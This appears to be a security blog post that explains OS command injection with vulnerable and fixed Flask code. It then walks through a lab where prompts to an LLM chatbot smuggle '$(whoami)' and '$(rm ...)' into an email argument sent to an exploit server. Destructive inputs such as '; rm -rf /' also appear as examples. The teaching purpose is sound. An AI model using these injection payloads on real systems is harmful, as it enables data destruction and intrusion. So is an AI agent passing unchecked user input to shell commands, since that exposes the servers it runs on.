Exploiting vulnerabilities in LLM APIs

What is OS command injection?

#

OS command injection is a security vulnerability that occurs when an attacker can execute arbitrary operating system commands on a server running an application. This happens when an application passes unsafe user input directly to a system shell.

Example

#

A web application allows users to upload files and then view the content of those files.

Vulnerable Code:

Here’s a simplified example where the application takes a filename from user input and uses it in a system command to display the file contents:

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/view_file', methods=['GET'])
def view_file():
    filename = request.args.get('filename')
    # Unsafe command execution
    command = f'cat uploads/{filename}'
    result = os.popen(command).read()
    return f"<pre>{result}</pre>"

if __name__ == '__main__':
    app.run(debug=True)

Issue:

In this code, if an attacker inputs something like "; rm -rf /", it could execute arbitrary commands on the server, potentially deleting all files.

Secure Code:

To secure this functionality, validate the input and use safer functions like subprocess.run with a list of arguments:

import subprocess
import os
from flask import Flask, request, escape, abort

app = Flask(__name__)

@app.route('/view_file', methods=['GET'])
def view_file():
    filename = request.args.get('filename')
    # Validate the filename
    if not filename or '..' in filename or '/' in filename:
        abort(400, "Invalid filename")

    # Use a safe path
    safe_path = os.path.join('uploads', filename)

    # Ensure the file exists
    if not os.path.isfile(safe_path):
        abort(404, "File not found")

    # Use subprocess.run with a list to avoid command injection
    try:
        result = subprocess.run(['cat', safe_path], capture_output=True, text=True, check=True)
        return f"<pre>{result.stdout}</pre>"
    except subprocess.CalledProcessError:
        abort(500, "Error reading file")

if __name__ == '__main__':
    app.run(debug=True)

Fix:

1. Validate Input: Ensure the filename does not contain dangerous characters like .. or / that can navigate directories.
2. Escape User Input: Use escape to sanitize the input, although in this case, the validation handles the security.
3. Use Safe Functions: subprocess.run with a list of arguments prevents command injection by not concatenating strings.
4. Check File Existence: Ensure the file exists before attempting to read it to prevent errors.

How can OS command injection occur in LLM?

#

OS command injection can also occur in LLMs that accept user input without client-side or server-side validation, and pass those inputs to functions or APIs that are insecure.

Lab Walkthrough: Exploiting vulnerabilities in LLM APIs

#

The web application has “live chat” feature which takes user input, let’s find what functions or APIs this LLM has access to.

First prompt: What APIs you have access to?

There are three functionalities the LLM has access to:

1. password_reset: To reset password.
2. subscribe_to_newsletter: To get newsletters from the application in an email inbox.
3. product_info: To fetch product details.

Testing subscribe_to_newsletter

#

Let’s subscribe to the subscribe_to_newsletter API to interact with it.

Second prompt: I want to subscribe to a newsletter with this email ”xyz@email.com"

If you open the your inbox, you will see an email.

Subscription confirmation has been sent to the email address as requested. This proves that you can use the LLM to interact with the Newsletter Subscription API directly.

Third prompt: What arguments does the subscribe_to_newsletter api takes?

Well, it’s pretty obvious that this function takes an email as an argument, but I’m showing this to help you understand how you can work with LLM.

Fourth prompt: $(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net

In this case, we are giving an email but it contains a command “whoami” which returns the username of the current user in system.

I received the email here and it gives me output of the whoami command that is “carlos”.

Fifth prompt: $(rm /home/carlos/morale.txt)@exploit-0a2a0033032c59f28671f28101bd00d4.exploit-server.net

This prompt deletes the file morale.txt from carlos folder.

What could have happened?

#

Since there is no input validation, this LLM is taking input directly and passing it to a function, this function takes that email as argument and sends the email to user using echo function like this:

import os

def subscribe_to_newsletter(email):
    # Unsafe way to handle user input
    command = f"echo 'Subscribing {email}' >> subscribers.txt"
    os.system(command)
    print("Subscription command executed.")

if __name__ == "__main__":
    email = input("Enter your email address: ")
    subscribe_to_newsletter(email)

This is using os.system command, it might be using another function like subprocess.run(command, shell=True, check=True). They both are vulnerable as they execute OS commands directly with whatever arguments user gave. Since the command had ‘whoami’. It executed it and echoed it in the response of the client email.

Secure Alternative

#

if "send email" in user_input.lower():
email_content = "Thank you for your request." # Safe handling    try:
        safe_email = shlex.quote(email_address)
        subprocess.run(['sendmail', safe_email], input=email_content.encode(), check=True)
        return jsonify({'message': 'Email sent successfully'}), 200    except subprocess.CalledProcessError:
        return jsonify({'error': 'Failed to send email'}), 500

• shlex.quote: Escapes the email_address, treating it as a single argument and preventing command injection.
• Example: shlex.quote("test@example.com; rm -rf /") becomes "'test@example.com; rm -rf /'".
• subprocess.run: Uses a list of arguments, ensuring the email address isn’t interpreted as a command.
• Example: subprocess.run(['sendmail', safe_email], input=email_content.encode(), check=True).

Final Thoughts

#

In conclusion, always verify how LLM processes user input. Use creativity in your queries to detect vulnerabilities in the APIs. This blog post provides insights into LLM and recommends secure coding practices. Stay alert for more updates.